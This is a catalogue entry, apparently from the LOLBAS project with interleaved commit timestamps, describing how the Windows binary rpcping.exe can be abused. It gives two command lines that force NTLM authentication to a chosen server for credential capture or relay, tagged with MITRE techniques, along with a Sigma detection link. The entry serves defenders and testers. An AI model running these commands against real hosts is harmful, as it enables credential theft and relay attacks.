2018-06-09 00:15:06 +02:00
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Name: Rpcping.exe
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2018-09-24 21:59:43 +02:00
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Description: Used to verify rpc connection
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Author: 'Oddvar Moe'
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2021-01-10 16:04:52 +01:00
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Created: 2018-05-25
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2018-06-09 00:15:06 +02:00
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Commands:
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- Command: rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
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Description: Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
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2018-09-24 21:59:43 +02:00
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Usecase: Capture credentials on a non-standard port
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Category: Credentials
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Privileges: User
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MitreID: T1003
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2021-12-14 16:50:17 +01:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2021-09-29 23:27:16 +02:00
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- Command: rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM
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Description: Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).
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Usecase: Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port
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Category: Credentials
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Privileges: User
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MitreID: T1187
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2021-12-14 16:50:17 +01:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2018-12-10 14:28:12 +01:00
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Full_Path:
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2018-09-24 21:59:43 +02:00
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- Path: C:\Windows\System32\rpcping.exe
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- Path: C:\Windows\SysWOW64\rpcping.exe
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2021-01-10 16:04:52 +01:00
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Code_Sample:
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2021-11-15 14:19:03 +01:00
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- Code:
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2018-09-24 21:59:43 +02:00
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Detection:
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2021-11-15 14:19:03 +01:00
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- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_rpcping.yml
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2018-06-09 00:15:06 +02:00
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Resources:
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2018-09-24 21:59:43 +02:00
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- Link: https://github.com/vysec/RedTips
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- Link: https://twitter.com/vysecurity/status/974806438316072960
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- Link: https://twitter.com/vysecurity/status/873181705024266241
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2021-09-29 23:27:16 +02:00
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- Link: https://twitter.com/splinter_code/status/1421144623678988298
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2018-09-24 21:59:43 +02:00
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Acknowledgement:
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- Person: Casey Smith
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Handle: '@subtee'
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- Person: Vincent Yiu
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Handle: '@vysecurity'
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2021-09-29 23:27:16 +02:00
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- Person: Antonio Cocomazzi
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Handle: '@splinter_code'
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2021-09-29 23:31:06 +02:00
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- Person: ap
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Handle: '@decoder_it'
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